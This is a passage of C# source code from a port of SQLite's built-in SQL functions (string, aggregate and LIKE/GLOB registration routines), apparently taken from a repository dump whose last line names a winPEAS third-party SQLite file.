hexdigits[( c >> 4 ) & 0xf] );\n          zHex.Append( hexdigits[c & 0xf] );\n        }\n        sqlite3_result_text(context, zHex.ToString(), n * 2, null); //sqlite3_free );\n      }\n    }\n\n    /*\n    ** The zeroblob(N) function returns a zero-filled blob of size N bytes.\n    */\n    static void zeroblobFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      i64 n;\n      sqlite3 db = sqlite3_context_db_handle( context );\n      Debug.Assert( argc == 1 );\n      UNUSED_PARAMETER( argc );\n      n = sqlite3_value_int64( argv[0] );\n      testcase( n == db.aLimit[SQLITE_LIMIT_LENGTH] );\n      testcase( n == db.aLimit[SQLITE_LIMIT_LENGTH] + 1 );\n      if ( n > db.aLimit[SQLITE_LIMIT_LENGTH] )\n      {\n        sqlite3_result_error_toobig( context );\n      }\n      else\n      {\n        sqlite3_result_zeroblob( context, (int)n );\n      }\n    }\n\n    /*\n    ** The replace() function.  Three arguments are all strings: call\n    ** them A, B, and C. The result is also a string which is derived\n    ** from A by replacing every occurance of B with C.  The match\n    ** must be exact.  Collating sequences are not used.\n    */\n    static void replaceFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      string zStr;        /* The input string A */\n      string zPattern;    /* The pattern string B */\n      string zRep;        /* The replacement string C */\n      string zOut;              /* The output */\n      int nStr;                /* Size of zStr */\n      int nPattern;            /* Size of zPattern */\n      int nRep;                /* Size of zRep */\n      int nOut;                /* Maximum size of zOut */\n      //int loopLimit;           /* Last zStr[] that might match zPattern[] */\n      int i, j;                /* Loop counters */\n\n      Debug.Assert( argc == 3 );\n      UNUSED_PARAMETER( argc );\n      zStr = sqlite3_value_text( argv[0] );\n      if ( zStr == null ) return;\n      nStr = sqlite3_value_bytes( argv[0] );\n      Debug.Assert( zStr == sqlite3_value_text( argv[0] ) );  /* No encoding change */\n      zPattern = sqlite3_value_text( argv[1] );\n      if ( zPattern == null )\n      {\n        Debug.Assert( sqlite3_value_type( argv[1] ) == SQLITE_NULL\n        //|| sqlite3_context_db_handle( context ).mallocFailed != 0\n        );\n        return;\n      }\n      if ( zPattern == \"\" )\n      {\n        Debug.Assert( sqlite3_value_type( argv[1] ) != SQLITE_NULL );\n        sqlite3_result_value( context, argv[0] );\n        return;\n      }\n      nPattern = sqlite3_value_bytes( argv[1] );\n      Debug.Assert( zPattern == sqlite3_value_text( argv[1] ) );  /* No encoding change */\n      zRep = sqlite3_value_text( argv[2] );\n      if ( zRep == null ) return;\n      nRep = sqlite3_value_bytes( argv[2] );\n      Debug.Assert( zRep == sqlite3_value_text( argv[2] ) );\n      nOut = nStr + 1;\n      Debug.Assert( nOut < SQLITE_MAX_LENGTH );\n      //zOut = contextMalloc(context, (i64)nOut);\n      //if( zOut==0 ){\n      //  return;\n      //}\n      //loopLimit = nStr - nPattern;\n      //for(i=j=0; i<=loopLimit; i++){\n      //  if( zStr[i]!=zPattern[0] || memcmp(&zStr[i], zPattern, nPattern) ){\n      //    zOut[j++] = zStr[i];\n      //  }else{\n      //    u8 *zOld;\n      // sqlite3 db = sqlite3_context_db_handle( context );\n      //    nOut += nRep - nPattern;\n      //testcase( nOut-1==db->aLimit[SQLITE_LIMIT_LENGTH] );\n      //testcase( nOut-2==db->aLimit[SQLITE_LIMIT_LENGTH] );\n      //if( nOut-1>db->aLimit[SQLITE_LIMIT_LENGTH] ){\n      //      sqlite3_result_error_toobig(context);\n      //      //sqlite3DbFree(db,ref  zOut);\n      //      return;\n      //    }\n      //    zOld = zOut;\n      //    zOut = sqlite3_realloc(zOut, (int)nOut);\n      //    if( zOut==0 ){\n      //      sqlite3_result_error_nomem(context);\n      //      //sqlite3DbFree(db,ref  zOld);\n      //      return;\n      //    }\n      //    memcpy(&zOut[j], zRep, nRep);\n      //    j += nRep;\n      //    i += nPattern-1;\n      //  }\n      //}\n      //Debug.Assert( j+nStr-i+1==nOut );\n      //memcpy(&zOut[j], zStr[i], nStr-i);\n      //j += nStr - i;\n      //Debug.Assert( j<=nOut );\n      //zOut[j] = 0;\n      zOut = zStr.Replace( zPattern, zRep );\n      j = zOut.Length;\n      sqlite3_result_text(context, zOut, j, null);//sqlite3_free );\n    }\n\n    /*\n    ** Implementation of the TRIM(), LTRIM(), and RTRIM() functions.\n    ** The userdata is 0x1 for left trim, 0x2 for right trim, 0x3 for both.\n    */\n    static void trimFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      string zIn;           /* Input string */\n      string zCharSet;      /* Set of characters to trim */\n      int nIn;              /* Number of bytes in input */\n      int izIn = 0;         /* C# string pointer */\n      int flags;            /* 1: trimleft  2: trimright  3: trim */\n      int i;                /* Loop counter */\n      int[] aLen = null;    /* Length of each character in zCharSet */\n      byte[][] azChar = null; /* Individual characters in zCharSet */\n      int nChar = 0;          /* Number of characters in zCharSet */\n      byte[] zBytes = null;\n      byte[] zBlob = null;\n\n      if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL )\n      {\n        return;\n      }\n      zIn = sqlite3_value_text( argv[0] );\n      if ( zIn == null ) return;\n      nIn = sqlite3_value_bytes( argv[0] );\n      zBlob = sqlite3_value_blob( argv[0] );\n      //Debug.Assert( zIn == sqlite3_value_text( argv[0] ) );\n      if ( argc == 1 )\n      {\n        int[] lenOne = new int[] { 1 };\n        byte[] azOne = new byte[] { (u8)' ' };//static unsigned char * const azOne[] = { (u8*)\" \" };\n        nChar = 1;\n        aLen = lenOne;\n        azChar = new byte[1][];\n        azChar[0] = azOne;\n        zCharSet = null;\n      }\n      else if ( ( zCharSet = sqlite3_value_text( argv[1] ) ) == null )\n      {\n        return;\n      }\n      else\n      {\n        zBytes = sqlite3_value_blob( argv[1] );\n        int iz = 0;\n        for ( nChar = 0 ; iz < zBytes.Length ; nChar++ )\n        {\n          SQLITE_SKIP_UTF8( zBytes, ref iz );\n        }\n        if ( nChar > 0 )\n        {\n          azChar = new byte[nChar][];//contextMalloc(context, ((i64)nChar)*(sizeof(char*)+1));\n          if ( azChar == null )\n          {\n            return;\n          }\n          aLen = new int[nChar];\n\n          int iz0 = 0;\n          int iz1 = 0;\n          for ( int ii = 0 ; ii < nChar ; ii++ )\n          {\n            SQLITE_SKIP_UTF8( zBytes, ref iz1 );\n            aLen[ii] = iz1 - iz0;\n            azChar[ii] = new byte[aLen[ii]];\n            Buffer.BlockCopy( zBytes, iz0, azChar[ii], 0, azChar[ii].Length );\n            iz0 = iz1;\n          }\n        }\n      }\n      if ( nChar > 0 )\n      {\n        flags = (int)sqlite3_user_data( context ); // flags = SQLITE_PTR_TO_INT(sqlite3_user_data(context));\n        if ( ( flags & 1 ) != 0 )\n        {\n          while ( nIn > 0 )\n          {\n            int len = 0;\n            for ( i = 0 ; i < nChar ; i++ )\n            {\n              len = aLen[i];\n              if ( len <= nIn && memcmp( zBlob, izIn, azChar[i], len ) == 0 ) break;\n            }\n            if ( i >= nChar ) break;\n            izIn += len;\n            nIn -= len;\n          }\n        }\n        if ( ( flags & 2 ) != 0 )\n        {\n          while ( nIn > 0 )\n          {\n            int len = 0;\n            for ( i = 0 ; i < nChar ; i++ )\n            {\n              len = aLen[i];\n              if ( len <= nIn && memcmp( zBlob, izIn + nIn - len, azChar[i], len ) == 0 ) break;\n            }\n            if ( i >= nChar ) break;\n            nIn -= len;\n          }\n        }\n        if ( zCharSet != null )\n        {\n          //sqlite3_free( ref  azChar );\n        }\n      }\n      StringBuilder sb = new StringBuilder( nIn );\n      for ( i = 0 ; i < nIn ; i++ ) sb.Append( (char)zBlob[izIn + i] );\n      sqlite3_result_text( context, sb.ToString(), nIn, SQLITE_TRANSIENT );\n    }\n\n#if SQLITE_SOUNDEX\n/*\n** Compute the soundex encoding of a word.\n*/\nstatic void soundexFunc(\nsqlite3_context context,\nint argc,\nsqlite3_value[] argv\n)\n{\nDebug.Assert(false); // TODO -- func_c\nchar zResult[8];\nconst u8 *zIn;\nint i, j;\nstatic const unsigned char iCode[] = {\n0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n0, 0, 1, 2, 3, 0, 1, 2, 0, 0, 2, 2, 4, 5, 5, 0,\n1, 2, 6, 2, 3, 0, 1, 0, 2, 0, 2, 0, 0, 0, 0, 0,\n0, 0, 1, 2, 3, 0, 1, 2, 0, 0, 2, 2, 4, 5, 5, 0,\n1, 2, 6, 2, 3, 0, 1, 0, 2, 0, 2, 0, 0, 0, 0, 0,\n};\nDebug.Assert( argc==1 );\nzIn = (u8*)sqlite3_value_text(argv[0]);\nif( zIn==0 ) zIn = (u8*)\"\";\nfor(i=0; zIn[i] && !sqlite3Isalpha(zIn[i]); i++){}\nif( zIn[i] ){\nu8 prevcode = iCode[zIn[i]&0x7f];\nzResult[0] = sqlite3Toupper(zIn[i]);\nfor(j=1; j<4 && zIn[i]; i++){\nint code = iCode[zIn[i]&0x7f];\nif( code>0 ){\nif( code!=prevcode ){\nprevcode = code;\nzResult[j++] = code + '0';\n}\n}else{\nprevcode = 0;\n}\n}\nwhile( j<4 ){\nzResult[j++] = '0';\n}\nzResult[j] = 0;\nsqlite3_result_text(context, zResult, 4, SQLITE_TRANSIENT);\n}else{\nsqlite3_result_text(context, \"?000\", 4, SQLITE_STATIC);\n}\n}\n#endif\n\n#if ! SQLITE_OMIT_LOAD_EXTENSION\n    /*\n** A function that loads a shared-library extension then returns NULL.\n*/\n    static void loadExt(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      string zFile = sqlite3_value_text( argv[0] );\n      string zProc;\n      sqlite3 db = (sqlite3)sqlite3_context_db_handle( context );\n      string zErrMsg = \"\";\n\n      if ( argc == 2 )\n      {\n        zProc = sqlite3_value_text( argv[1] );\n      }\n      else\n      {\n        zProc = \"\";\n      }\n      if ( zFile != null && sqlite3_load_extension( db, zFile, zProc, ref zErrMsg ) != 0 )\n      {\n        sqlite3_result_error( context, zErrMsg, -1 );\n        //sqlite3DbFree( db, ref  zErrMsg );\n      }\n    }\n#endif\n\n    /*\n** An instance of the following structure holds the context of a\n** sum() or avg() aggregate computation.\n*/\n    //typedef struct SumCtx SumCtx;\n    public class SumCtx\n    {\n      public double rSum;      /* Floating point sum */\n      public i64 iSum;         /* Integer sum */\n      public i64 cnt;          /* Number of elements summed */\n      public int overflow;     /* True if integer overflow seen */\n      public bool approx;      /* True if non-integer value was input to the sum */\n      public Mem _M;\n      public Mem Context\n      {\n        get { return _M; }\n        set\n        {\n          _M = value;\n          if ( _M == null || _M.z == null )\n            iSum = 0;\n          else iSum = Convert.ToInt64( _M.z );\n        }\n      }\n    };\n\n    /*\n    ** Routines used to compute the sum, average, and total.\n    **\n    ** The SUM() function follows the (broken) SQL standard which means\n    ** that it returns NULL if it sums over no inputs.  TOTAL returns\n    ** 0.0 in that case.  In addition, TOTAL always returns a float where\n    ** SUM might return an integer if it never encounters a floating point\n    ** value.  TOTAL never fails, but SUM might through an exception if\n    ** it overflows an integer.\n    */\n    static void sumStep(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      SumCtx p;\n\n      int type;\n      Debug.Assert( argc == 1 );\n      UNUSED_PARAMETER( argc );\n      Mem pMem = sqlite3_aggregate_context( context, -1 );//sizeof(*p));\n      if ( pMem._SumCtx == null ) pMem._SumCtx = new SumCtx();\n      p = pMem._SumCtx;\n      if ( p.Context == null ) p.Context = pMem;\n      type = sqlite3_value_numeric_type( argv[0] );\n      if ( p != null && type != SQLITE_NULL )\n      {\n        p.cnt++;\n        if ( type == SQLITE_INTEGER )\n        {\n          i64 v = sqlite3_value_int64( argv[0] );\n          p.rSum += v;\n          if ( !( p.approx | p.overflow != 0 ) )\n          {\n            i64 iNewSum = p.iSum + v;\n            int s1 = (int)( p.iSum >> ( sizeof( i64 ) * 8 - 1 ) );\n            int s2 = (int)( v >> ( sizeof( i64 ) * 8 - 1 ) );\n            int s3 = (int)( iNewSum >> ( sizeof( i64 ) * 8 - 1 ) );\n            p.overflow = ( ( s1 & s2 & ~s3 ) | ( ~s1 & ~s2 & s3 ) ) != 0 ? 1 : 0;\n            p.iSum = iNewSum;\n          }\n        }\n        else\n        {\n          p.rSum += sqlite3_value_double( argv[0] );\n          p.approx = true;\n        }\n      }\n    }\n    static void sumFinalize( sqlite3_context context )\n    {\n      SumCtx p = null;\n      Mem pMem = sqlite3_aggregate_context( context, 0 );\n      if ( pMem != null ) p = pMem._SumCtx;\n      if ( p != null && p.cnt > 0 )\n      {\n        if ( p.overflow != 0 )\n        {\n          sqlite3_result_error( context, \"integer overflow\", -1 );\n        }\n        else if ( p.approx )\n        {\n          sqlite3_result_double( context, p.rSum );\n        }\n        else\n        {\n          sqlite3_result_int64( context, p.iSum );\n        }\n      }\n    }\n\n    static void avgFinalize( sqlite3_context context )\n    {\n      SumCtx p = null;\n      Mem pMem = sqlite3_aggregate_context( context, 0 );\n      if ( pMem != null ) p = pMem._SumCtx;\n      if ( p != null && p.cnt > 0 )\n      {\n        sqlite3_result_double( context, p.rSum / (double)p.cnt );\n      }\n    }\n\n    static void totalFinalize( sqlite3_context context )\n    {\n      SumCtx p = null;\n      Mem pMem = sqlite3_aggregate_context( context, 0 );\n      if ( pMem != null ) p = pMem._SumCtx;\n      /* (double)0 In case of SQLITE_OMIT_FLOATING_POINT... */\n      sqlite3_result_double( context, p != null ? p.rSum : (double)0 );\n    }\n\n    /*\n    ** The following structure keeps track of state information for the\n    ** count() aggregate function.\n    */\n    //typedef struct CountCtx CountCtx;\n    public class CountCtx\n    {\n      i64 _n;\n      Mem _M;\n      public Mem Context\n      {\n        get { return _M; }\n        set\n        {\n          _M = value;\n          if ( _M == null || _M.z == null )\n            _n = 0;\n          else _n = Convert.ToInt64( _M.z );\n        }\n      }\n      public i64 n\n      {\n        get { return _n; }\n        set\n        {\n          _n = value;\n          if ( _M != null ) _M.z = _n.ToString();\n        }\n      }\n    }\n\n    /*\n    ** Routines to implement the count() aggregate function.\n    */\n    static void countStep(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      CountCtx p = new CountCtx();\n      p.Context = sqlite3_aggregate_context( context, -1 );//sizeof(*p));\n      if ( ( argc == 0 || SQLITE_NULL != sqlite3_value_type( argv[0] ) ) && p.Context != null )\n      {\n        p.n++;\n      }\n#if !SQLITE_OMIT_DEPRECATED\n      /* The sqlite3_aggregate_count() function is deprecated.  But just to make\n** sure it still operates correctly, verify that its count agrees with our\n** internal count when using count(*) and when the total count can be\n** expressed as a 32-bit integer. */\n      Debug.Assert( argc == 1 || p == null || p.n > 0x7fffffff\n      || p.n == sqlite3_aggregate_count( context ) );\n#endif\n    }\n\n    static void countFinalize( sqlite3_context context )\n    {\n      CountCtx p = new CountCtx();\n      p.Context = sqlite3_aggregate_context( context, 0 );\n      sqlite3_result_int64( context, p != null ? p.n : 0 );\n    }\n\n    /*\n    ** Routines to implement min() and max() aggregate functions.\n    */\n    static void minmaxStep(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] argv\n    )\n    {\n      Mem pArg = (Mem)argv[0];\n      Mem pBest;\n      UNUSED_PARAMETER( NotUsed );\n\n      if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return;\n      pBest = (Mem)sqlite3_aggregate_context( context, -1 );//sizeof(*pBest));\n      if ( pBest == null ) return;\n\n      if ( pBest.flags != 0 )\n      {\n        bool max;\n        int cmp;\n        CollSeq pColl = sqlite3GetFuncCollSeq( context );\n        /* This step function is used for both the min() and max() aggregates,\n        ** the only difference between the two being that the sense of the\n        ** comparison is inverted. For the max() aggregate, the\n        ** sqlite3_context_db_handle() function returns (void *)-1. For min() it\n        ** returns (void *)db, where db is the sqlite3* database pointer.\n        ** Therefore the next statement sets variable 'max' to 1 for the max()\n        ** aggregate, or 0 for min().\n        */\n        max = sqlite3_context_db_handle( context ) != null && (int)sqlite3_user_data( context ) != 0;\n        cmp = sqlite3MemCompare( pBest, pArg, pColl );\n        if ( ( max && cmp < 0 ) || ( !max && cmp > 0 ) )\n        {\n          sqlite3VdbeMemCopy( pBest, pArg );\n        }\n      }\n      else\n      {\n        sqlite3VdbeMemCopy( pBest, pArg );\n      }\n    }\n\n    static void minMaxFinalize( sqlite3_context context )\n    {\n      sqlite3_value pRes;\n      pRes = (sqlite3_value)sqlite3_aggregate_context( context, 0 );\n      if ( pRes != null )\n      {\n        if ( ALWAYS( pRes.flags != 0 ) )\n        {\n          sqlite3_result_value( context, pRes );\n        }\n        sqlite3VdbeMemRelease( pRes );\n      }\n    }\n\n    /*\n    ** group_concat(EXPR, ?SEPARATOR?)\n    */\n    static void groupConcatStep(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      string zVal;\n      StrAccum pAccum;\n      string zSep;\n      int nVal, nSep;\n      Debug.Assert( argc == 1 || argc == 2 );\n      if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return;\n      Mem pMem = sqlite3_aggregate_context( context, -1 );//sizeof(*pAccum));\n      if ( pMem._StrAccum == null ) pMem._StrAccum = new StrAccum();\n      pAccum = pMem._StrAccum;\n      if ( pAccum.Context == null ) pAccum.Context = pMem;\n      if ( pAccum != null )\n      {\n        sqlite3 db = sqlite3_context_db_handle( context );\n        int firstTerm = pAccum.useMalloc == 0 ? 1 : 0;\n        pAccum.useMalloc = 1;\n        pAccum.mxAlloc = db.aLimit[SQLITE_LIMIT_LENGTH];\n        if ( 0 == firstTerm )\n        {\n          if ( argc == 2 )\n          {\n            zSep = sqlite3_value_text( argv[1] );\n            nSep = sqlite3_value_bytes( argv[1] );\n          }\n          else\n          {\n            zSep = \",\";\n            nSep = 1;\n          }\n          sqlite3StrAccumAppend( pAccum, zSep, nSep );\n        }\n        zVal = sqlite3_value_text( argv[0] );\n        nVal = sqlite3_value_bytes( argv[0] );\n        sqlite3StrAccumAppend( pAccum, zVal, nVal );\n      }\n    }\n\n    static void groupConcatFinalize( sqlite3_context context )\n    {\n      StrAccum pAccum = null;\n      Mem pMem = sqlite3_aggregate_context( context, 0 );\n      if ( pMem != null )\n      {\n        if ( pMem._StrAccum == null ) pMem._StrAccum = new StrAccum();\n        pAccum = pMem._StrAccum;\n      }\n      if ( pAccum != null )\n      {\n        if ( pAccum.tooBig != 0 )\n        {\n          sqlite3_result_error_toobig( context );\n        }\n        //else if ( pAccum.mallocFailed != 0 )\n        //{\n        //  sqlite3_result_error_nomem( context );\n        //}\n        else\n        {\n          sqlite3_result_text( context, sqlite3StrAccumFinish( pAccum ), -1,\n          null); //sqlite3_free );\n        }\n      }\n    }\n\n    /*\n    ** This function registered all of the above C functions as SQL\n    ** functions.  This should be the only routine in this file with\n    ** external linkage.\n    */\n    public struct sFuncs\n    {\n      public string zName;\n      public sbyte nArg;\n      public u8 argType;           /* 1: 0, 2: 1, 3: 2,...  N:  N-1. */\n      public u8 eTextRep;          /* 1: UTF-16.  0: UTF-8 */\n      public u8 needCollSeq;\n      public dxFunc xFunc; //(sqlite3_context*,int,sqlite3_value **);\n\n      // Constructor\n      public sFuncs( string zName, sbyte nArg, u8 argType, u8 eTextRep, u8 needCollSeq, dxFunc xFunc )\n      {\n        this.zName = zName;\n        this.nArg = nArg;\n        this.argType = argType;\n        this.eTextRep = eTextRep;\n        this.needCollSeq = needCollSeq;\n        this.xFunc = xFunc;\n      }\n    };\n\n    public struct sAggs\n    {\n      public string zName;\n      public sbyte nArg;\n      public u8 argType;\n      public u8 needCollSeq;\n      public dxStep xStep; //(sqlite3_context*,int,sqlite3_value**);\n      public dxFinal xFinalize; //(sqlite3_context*);\n      // Constructor\n      public sAggs( string zName, sbyte nArg, u8 argType, u8 needCollSeq, dxStep xStep, dxFinal xFinalize )\n      {\n        this.zName = zName;\n        this.nArg = nArg;\n        this.argType = argType;\n        this.needCollSeq = needCollSeq;\n        this.xStep = xStep;\n        this.xFinalize = xFinalize;\n      }\n    }\n    static void sqlite3RegisterBuiltinFunctions( sqlite3 db )\n    {\n#if !SQLITE_OMIT_ALTERTABLE\n      sqlite3AlterFunctions( db );\n#endif\n      ////if ( 0 == db.mallocFailed )\n      {\n        int rc = sqlite3_overload_function( db, \"MATCH\", 2 );\n        Debug.Assert( rc == SQLITE_NOMEM || rc == SQLITE_OK );\n        if ( rc == SQLITE_NOMEM )\n        {\n  ////        db.mallocFailed = 1;\n        }\n      }\n    }\n\n    /*\n    ** Set the LIKEOPT flag on the 2-argument function with the given name.\n    */\n    static void setLikeOptFlag( sqlite3 db, string zName, int flagVal )\n    {\n      FuncDef pDef;\n      pDef = sqlite3FindFunction( db, zName, sqlite3Strlen30( zName ),\n      2, SQLITE_UTF8, 0 );\n      if ( ALWAYS( pDef != null ) )\n      {\n        pDef.flags = (byte)flagVal;\n      }\n    }\n\n    /*\n    ** Register the built-in LIKE and GLOB functions.  The caseSensitive\n    ** parameter determines whether or not the LIKE operator is case\n    ** sensitive.  GLOB is always case sensitive.\n    */\n    static void sqlite3RegisterLikeFunctions( sqlite3 db, int caseSensitive )\n    {\n      compareInfo pInfo;\n      if ( caseSensitive != 0 )\n      {\n        pInfo = likeInfoAlt;\n      }\n      else\n      {\n        pInfo = likeInfoNorm;\n      }\n      sqlite3CreateFunc( db, \"like\", 2, SQLITE_ANY, pInfo, (dxFunc)likeFunc, null, null );\n      sqlite3CreateFunc( db, \"like\", 3, SQLITE_ANY, pInfo, (dxFunc)likeFunc, null, null );\n      sqlite3CreateFunc( db, \"glob\", 2, SQLITE_ANY,\n      globInfo, (dxFunc)likeFunc, null, null );\n      setLikeOptFlag( db, \"glob\", SQLITE_FUNC_LIKE | SQLITE_FUNC_CASE );\n      setLikeOptFlag( db, \"like\",\n      caseSensitive != 0 ? ( SQLITE_FUNC_LIKE | SQLITE_FUNC_CASE ) : SQLITE_FUNC_LIKE );\n    }\n\n    /*\n    ** pExpr points to an expression which implements a function.  If\n    ** it is appropriate to apply the LIKE optimization to that function\n    ** then set aWc[0] through aWc[2] to the wildcard characters and\n    ** return TRUE.  If the function is not a LIKE-style function then\n    ** return FALSE.\n    */\n    static bool sqlite3IsLikeFunction( sqlite3 db, Expr pExpr, ref bool pIsNocase, char[] aWc )\n    {\n      FuncDef pDef;\n      if ( pExpr.op != TK_FUNCTION\n      || null == pExpr.x.pList\n      || pExpr.x.pList.nExpr != 2\n      )\n      {\n        return false;\n      }\n      Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) );\n      pDef = sqlite3FindFunction( db, pExpr.u.zToken, sqlite3Strlen30( pExpr.u.zToken ),\n                      2, SQLITE_UTF8, 0 );\n      if ( NEVER( pDef == null ) || ( pDef.flags & SQLITE_FUNC_LIKE ) == 0 )\n      {\n        return false;\n      }\n\n      /* The memcpy() statement assumes that the wildcard characters are\n      ** the first three statements in the compareInfo structure.  The\n      ** Debug.Asserts() that follow verify that assumption\n      */\n      //memcpy( aWc, pDef.pUserData, 3 );\n      aWc[0] = ( (compareInfo)pDef.pUserData ).matchAll;\n      aWc[1] = ( (compareInfo)pDef.pUserData ).matchOne;\n      aWc[2] = ( (compareInfo)pDef.pUserData ).matchSet;\n      // Debug.Assert((char*)&likeInfoAlt == (char*)&likeInfoAlt.matchAll);\n      // Debug.Assert(&((char*)&likeInfoAlt)[1] == (char*)&likeInfoAlt.matchOne);\n      // Debug.Assert(&((char*)&likeInfoAlt)[2] == (char*)&likeInfoAlt.matchSet);\n      pIsNocase = ( pDef.flags & SQLITE_FUNC_CASE ) == 0;\n      return true;\n    }\n\n    /*\n    ** All all of the FuncDef structures in the aBuiltinFunc[] array above\n    ** to the global function hash table.  This occurs at start-time (as\n    ** a consequence of calling sqlite3_initialize()).\n    **\n    ** After this routine runs\n    */\n    static void sqlite3RegisterGlobalFunctions()\n    {\n      /*\n      ** The following array holds FuncDef structures for all of the functions\n      ** defined in this file.\n      **\n      ** The array cannot be constant since changes are made to the\n      ** FuncDef.pHash elements at start-time.  The elements of this array\n      ** are read-only after initialization is complete.\n      */\n      FuncDef[] aBuiltinFunc =  {\nFUNCTION(\"ltrim\",              1, 1, 0, trimFunc         ),\nFUNCTION(\"ltrim\",              2, 1, 0, trimFunc         ),\nFUNCTION(\"rtrim\",              1, 2, 0, trimFunc         ),\nFUNCTION(\"rtrim\",              2, 2, 0, trimFunc         ),\nFUNCTION(\"trim\",               1, 3, 0, trimFunc         ),\nFUNCTION(\"trim\",               2, 3, 0, trimFunc         ),\nFUNCTION(\"min\",               -1, 0, 1, minmaxFunc       ),\nFUNCTION(\"min\",                0, 0, 1, null                ),\nAGGREGATE(\"min\",               1, 0, 1, minmaxStep,      minMaxFinalize ),\nFUNCTION(\"max\",               -1, 1, 1, minmaxFunc       ),\nFUNCTION(\"max\",                0, 1, 1, null                ),\nAGGREGATE(\"max\",               1, 1, 1, minmaxStep,      minMaxFinalize ),\nFUNCTION(\"typeof\",             1, 0, 0, typeofFunc       ),\nFUNCTION(\"length\",             1, 0, 0, lengthFunc       ),\nFUNCTION(\"substr\",             2, 0, 0, substrFunc       ),\nFUNCTION(\"substr\",             3, 0, 0, substrFunc       ),\nFUNCTION(\"abs\",                1, 0, 0, absFunc          ),\n#if !SQLITE_OMIT_FLOATING_POINT\nFUNCTION(\"round\",              1, 0, 0, roundFunc        ),\nFUNCTION(\"round\",              2, 0, 0, roundFunc        ),\n#endif\nFUNCTION(\"upper\",              1, 0, 0, upperFunc        ),\nFUNCTION(\"lower\",              1, 0, 0, lowerFunc        ),\nFUNCTION(\"coalesce\",           1, 0, 0, null                ),\nFUNCTION(\"coalesce\",          -1, 0, 0, ifnullFunc       ),\nFUNCTION(\"coalesce\",           0, 0, 0, null                ),\nFUNCTION(\"hex\",                1, 0, 0, hexFunc          ),\nFUNCTION(\"ifnull\",             2, 0, 1, ifnullFunc       ),\nFUNCTION(\"random\",             0, 0, 0, randomFunc       ),\nFUNCTION(\"randomblob\",         1, 0, 0, randomBlob       ),\nFUNCTION(\"nullif\",             2, 0, 1, nullifFunc       ),\nFUNCTION(\"sqlite_version\",     0, 0, 0, versionFunc      ),\nFUNCTION(\"quote\",              1, 0, 0, quoteFunc        ),\nFUNCTION(\"last_insert_rowid\",  0, 0, 0, last_insert_rowid),\nFUNCTION(\"changes\",            0, 0, 0, changes          ),\nFUNCTION(\"total_changes\",      0, 0, 0, total_changes    ),\nFUNCTION(\"replace\",            3, 0, 0, replaceFunc      ),\nFUNCTION(\"zeroblob\",           1, 0, 0, zeroblobFunc     ),\n#if SQLITE_SOUNDEX\nFUNCTION(\"soundex\",            1, 0, 0, soundexFunc      ),\n#endif\n#if !SQLITE_OMIT_LOAD_EXTENSION\nFUNCTION(\"load_extension\",     1, 0, 0, loadExt          ),\nFUNCTION(\"load_extension\",     2, 0, 0, loadExt          ),\n#endif\nAGGREGATE(\"sum\",               1, 0, 0, sumStep,         sumFinalize    ),\nAGGREGATE(\"total\",             1, 0, 0, sumStep,         totalFinalize    ),\nAGGREGATE(\"avg\",               1, 0, 0, sumStep,         avgFinalize    ),\n/*AGGREGATE(\"count\",             0, 0, 0, countStep,       countFinalize  ), */\n/* AGGREGATE(count,             0, 0, 0, countStep,       countFinalize  ), */\nnew FuncDef( 0,SQLITE_UTF8,SQLITE_FUNC_COUNT,null,null,null,countStep,countFinalize,\"count\",null),\nAGGREGATE(\"count\",             1, 0, 0, countStep,       countFinalize  ),\nAGGREGATE(\"group_concat\",      1, 0, 0, groupConcatStep, groupConcatFinalize),\nAGGREGATE(\"group_concat\",      2, 0, 0, groupConcatStep, groupConcatFinalize),\n\nLIKEFUNC(\"glob\", 2, globInfo, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE),\n#if SQLITE_CASE_SENSITIVE_LIKE\nLIKEFUNC(\"like\", 2, likeInfoAlt, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE),\nLIKEFUNC(\"like\", 3, likeInfoAlt, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE),\n#else\nLIKEFUNC(\"like\", 2, likeInfoNorm, SQLITE_FUNC_LIKE),\nLIKEFUNC(\"like\", 3, likeInfoNorm, SQLITE_FUNC_LIKE),\n#endif\n};\n      int i;\n#if SQLITE_OMIT_WSD\nFuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions );\nFuncDef[] aFunc = (FuncDef[])GLOBAL( FuncDef, aBuiltinFunc );\n#else\n      FuncDefHash pHash = sqlite3GlobalFunctions;\n      FuncDef[] aFunc = aBuiltinFunc;\n#endif\n      for ( i = 0 ; i < ArraySize( aBuiltinFunc ) ; i++ )\n      {\n        sqlite3FuncDefInsert( pHash, aFunc[i] );\n      }\n      sqlite3RegisterDateTimeFunctions();\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/global_c.cs",
